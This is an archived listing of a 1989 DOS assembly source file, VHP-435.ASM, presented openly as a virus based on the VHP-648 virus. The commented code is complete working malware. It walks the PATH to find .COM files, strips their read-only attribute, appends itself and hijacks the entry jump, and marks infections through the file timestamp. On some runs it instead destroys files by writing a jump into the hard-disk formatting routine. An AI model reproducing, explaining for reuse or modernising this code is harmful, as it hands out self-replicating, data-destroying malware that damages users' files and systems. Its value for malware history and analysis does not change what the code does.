home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VHP-435.ASM < prev    next >
Assembly Source File  |  1989-07-26  |  7KB  |  304 lines

  1.     name    Virus
  2.     title    Virus; based on the famous VHP-648 virus
  3.     .radix    16
  4.  
  5. code    segment
  6.     assume    cs:code,ds:code
  7.  
  8.     org    100
  9.  
  10. environ equ    2C
  11.  
  12. newjmp    equ    7Bh        ;Code of jmp instruction
  13. codeptr equ    7A        ;Here is formed a jump to virus code
  14. pname    equ    78        ;Offset of file name in dir path
  15. poffs    equ    76        ;Address of 'PATH' string
  16. errhnd    equ    74        ;Old error handler
  17. fname    equ    70        ;Path name to search for
  18. mydta    equ    2C        ;DTA for Find First/Next:
  19. attrib    equ    17        ;File attribute
  20. time    equ    16        ;File time
  21. date    equ    14        ;File date
  22. fsize    equ    12        ;File size
  23. namez    equ    0E        ;File name found
  24.  
  25. start:
  26.     jmp    short virus
  27.     nop
  28.     int    20
  29.  
  30. data    label    byte        ;Data section
  31. saveins db    3 dup (90)    ;Original first 3 bytes
  32. allcom    db    '*.COM',0       ;Filespec to search for
  33. pathstr db    'PATH='
  34.  
  35. ;This replaces the first instruction of a destroyed file.
  36. ;It's a jmp instruction into the hard disk formatting program (IBM XT only):
  37.  
  38. bad_jmp db    0EA,5,0,0,0C8
  39.  
  40. virus:
  41.     push    ax
  42.     push    cx        ;Save CX
  43.  
  44.     call    self        ;Detrmine the program start address
  45.     nop            ;For those looking for the E80000 pattern
  46. self:
  47.     pop    bx
  48.     sub    bx,self-data-1    ;Keep BX pointed at data
  49.     cld
  50.     lea    si,[bx+saveins-data]    ;Instruction saved there
  51.     mov    di,offset start
  52.     mov    cx,3        ;Move 3 bytes
  53.     rep    movsb        ;Do it
  54.     mov    si,bx        ;Keep SI pointed at data
  55.  
  56.     push    bp        ;Reserve local storage
  57.     mov    bp,sp
  58.     sub    sp,7C
  59.  
  60.     mov    ah,30        ;Get DOS version
  61.     int    21
  62.     cmp    al,0        ;Less than 2.0?
  63.     jne    skip1
  64.     jmp    exit        ;Exit if so
  65.  
  66. skip1:
  67.     push    es        ;Save ES
  68.     mov    ax,3524     ;Get interrupt 24h handler
  69.     int    21        ; and save it in errhnd
  70.     mov    [bp-errhnd],bx
  71.     mov    [bp-errhnd+2],es
  72.  
  73.     mov    ah,25        ;Set interrupt 24h handler
  74.     lea    dx,[si+handler-data]
  75.     int    21
  76.  
  77.     lea    dx,[bp-mydta]
  78.     mov    ah,1A        ;Set DTA
  79.     int    21
  80.  
  81.     push    si
  82.     mov    es,ds:[environ] ;Environment address
  83.     xor    di,di
  84.     mov    bx,si
  85. srchfirst:            ;Search 'PATH' in environment
  86.     lea    si,[bx+pathstr-data]
  87.     lodsb
  88.     scasb            ;Search for first letter ('P')
  89.     jne    nextp
  90.     mov    cx,4        ;4 letters in 'ATH='
  91.     rep    cmpsb
  92.     je    pfound        ;PATH found, continue
  93. nextp:
  94.     cmp    byte ptr es:[di],0
  95.     je    notfound    ;End of environment?
  96.     mov    cx,8000     ;Maximum 32 K in environment
  97.     mov    al,0        ;If not, skip thru next 0
  98.     repne    scasb        ; (i.e. go to next variable)
  99.     jmp    srchfirst    ; and search again
  100. notfound:
  101.     xor    di,di        ;0 indicates no PATH found
  102. pfound:
  103.     pop    si        ;Restore SI & ES
  104.     pop    es
  105.  
  106.     mov    [bp-poffs],di    ;Save 'PATH' offset in poffs
  107.     lea    di,[bp-fname]
  108.     mov    [bp-pname],di
  109.  
  110. filesrch:
  111.     lea    si,[bx+allcom-data]
  112.     mov    cl,3        ;3 words in ASCIIZ '*.COM'
  113.     rep    movsw        ;Move '*.COM' at fname
  114.     mov    si,bx        ;Restore SI
  115.  
  116.     mov    ah,4E        ;Find first file
  117.     lea    dx,[bp-fname]
  118.     mov    cl,11b        ;Hidden, Read/Only or Normal files
  119.     int    21
  120.     jc    nextdir     ;If not found, search in another directory
  121.  
  122. checkfile:
  123.     mov    al,[bp-time]    ;Check file time
  124.     and    al,11111b    ; (the seconds, more exactly)
  125.     cmp    al,62d/2    ;Are they 62?
  126.  
  127. ;If so, file is already contains the virus, search for another:
  128.  
  129.     je    findnext
  130.  
  131. ;Is file size greather than 64,000 bytes?
  132.  
  133.     cmp    [bp-fsize],64000d
  134.     ja    findnext    ;If so, search for next file
  135.  
  136. ;Is file size greater or equal to 10 bytes?
  137.  
  138.     cmp    word ptr [bp-fsize],10d
  139.     jae    process     ;If so, process file
  140.  
  141. findnext:            ;Otherwise find the next file
  142.     mov    ah,4F        ;Find next file
  143.     int    21
  144.     jnc    checkfile    ;If found, go chech some conditions
  145.  
  146. nextdir:
  147.     mov    si,[bp-poffs]
  148.     or    si,si
  149.     jnz    skip2
  150.     jmp    olddta        ;Exit if end of environment reached
  151. skip2:
  152.     push    ds        ;Save DS
  153.     lea    di,[bp-fname]    ;Point ES:DI at fname
  154.     mov    ds,ds:[environ] ;Point DS:SI at the PATH variable found
  155. cpydir:
  156.     lodsb            ;Get a char from the PATH variable
  157.     cmp    al,';'          ;`;' means end of directory
  158.     je    enddir
  159.     cmp    al,0        ;0 means end of PATH variable
  160.     je    endpath
  161.     stosb            ;Put the char in fname
  162.     jmp    cpydir        ;Loop until done
  163. endpath:
  164.     xor    si,si        ;Zero SI to indicate end of PATH
  165. enddir:
  166.     pop    ds        ;Restore DS
  167.     mov    [bp-poffs],si
  168.     cmp    byte ptr [di-1],'\'
  169.     je    skip3
  170.     mov    al,'\'          ;Add '\' if not already present
  171.     stosb
  172. skip3:
  173.     mov    [bp-pname],di
  174.     jmp    filesrch
  175.  
  176. process:
  177.     mov    di,[bp-pname]
  178.     lea    si,[bp-namez]    ;Point SI at namez
  179. cpyname:
  180.     lodsb            ;Copy name found to fname
  181.     stosb
  182.     cmp    al,0
  183.     jne    cpyname
  184.     mov    si,bx        ;Restore SI
  185.  
  186.     mov    ax,4301     ;Set file attributes
  187.     mov    cl,[bp-attrib]
  188.     and    cl,not 1    ;Turn off Read Only flag
  189.     int    21
  190.  
  191.     mov    ax,3D02     ;Open file with Read/Write access
  192.     int    21
  193.     jc    oldattr     ;Exit on error
  194.     mov    bx,ax        ;Save file handle in BX
  195.  
  196.     mov    ah,2C        ;Get system time
  197.     int    21
  198.     and    dh,111b     ;Are seconds a multiple of 8?
  199.     jnz    infect        ;If not, contaminate file (don't destroy):
  200.  
  201. ;Destroy file by rewriting an illegal jmp as first instruction:
  202.  
  203.     mov    ah,40        ;Write to file handle
  204.     mov    cx,5        ;Write 5 bytes
  205.     lea    dx,[si+bad_jmp-data]    ;Write THESE bytes
  206.     int    21        ;Do it
  207.     jmp    short oldtime    ;Exit
  208.  
  209. ;Try to contaminate file:
  210.  
  211. ;Read first instruction of the file (first 3 bytes) and save it in saveins:
  212.  
  213. infect:
  214.     mov    ah,3F        ;Read from file handle
  215.     mov    cx,3        ;Read 3 bytes
  216.     lea    dx,[si+saveins-data]    ;Put them there
  217.     int    21
  218.     jc    oldtime     ;Exit on error
  219.     cmp    ax,3        ;Are really 3 bytes read?
  220.     jne    oldtime     ;Exit if not
  221.  
  222. ;Move file pointer to end of file:
  223.  
  224.     mov    ax,4202     ;LSEEK from end of file
  225.     xor    cx,cx        ;0 bytes from end
  226.     xor    dx,dx
  227.     int    21
  228.     jc    oldtime     ;Exit on error
  229.  
  230.     add    ax,virus-data-3 ;Add virus data length to get code offset
  231.     mov    [bp-codeptr],ax ;Save result in codeptr
  232.     mov    byte ptr [bp-newjmp],0E9
  233.  
  234.     mov    ah,40        ;Write to file handle
  235.     mov    cx,endcode-data ;Virus code length as bytes to be written
  236.     mov    dx,si        ;Write from data to endcode
  237.     int    21
  238.     jc    oldtime     ;Exit on error
  239.     cmp    ax,endcode-data ;Are all bytes written?
  240.     jne    oldtime     ;Exit if not
  241.  
  242.     mov    ax,4200     ;LSEEK from the beginning of the file
  243.     xor    cx,cx        ;Just at the file beginning
  244.     xor    dx,dx
  245.     int    21
  246.     jc    oldtime     ;Exit on error
  247.  
  248. ;Rewrite the first instruction of the file with a jump to the virus code:
  249.  
  250.     mov    ah,40        ;Write to file handle
  251.     mov    cl,3        ;3 bytes to write
  252.     lea    dx,[bp-newjmp]    ;Write THESE bytes
  253.     int    21
  254.  
  255. oldtime:
  256.     mov    dx,[bp-date]    ;Restore file date
  257.     mov    cx,[bp-time]    ; and time
  258.     or    cl,11111b    ;Set seconds to 62 (?!)
  259.  
  260.     mov    ax,5701     ;Set file date & time
  261.     int    21
  262.     mov    ah,3E        ;Close file handle
  263.     int    21
  264.  
  265. oldattr:
  266.     mov    ax,4301     ;Set file attributes
  267.     mov    cl,[bp-attrib]    ;They were saved in fattrib
  268.     mov    ch,0
  269.     lea    dx,[bp-fname]
  270.     int    21
  271.  
  272. olddta:
  273.     mov    ah,1A        ;Set DTA
  274.     mov    dx,80        ;Restore DTA
  275.     int    21
  276.  
  277.     push    ds        ;Save DS
  278.     mov    ax,2524     ;Set interrupt 24h handler
  279.     mov    dx,[bp-errhnd]    ;Restore saved handler
  280.     mov    ds,[bp-errhnd+2]
  281.     int    21
  282.     pop    ds        ;Restore DS
  283.  
  284. exit:
  285.     mov    sp,bp
  286.     pop    bp        ;Restore BP, CX & AX
  287.     pop    cx
  288.     pop    ax
  289.     xor    bx,bx        ;Clear registers
  290.     xor    dx,dx
  291.     xor    si,si
  292.     mov    di,offset start ;Jump to CS:100
  293.     push    di        ; by doing funny RET
  294.     xor    di,di
  295.     ret
  296.  
  297. handler:            ;Critical error handler
  298.     mov    al,0        ;Just ignore error
  299.     iret            ; and return
  300. endcode label    byte
  301.  
  302. code    ends
  303.     end    start
  304.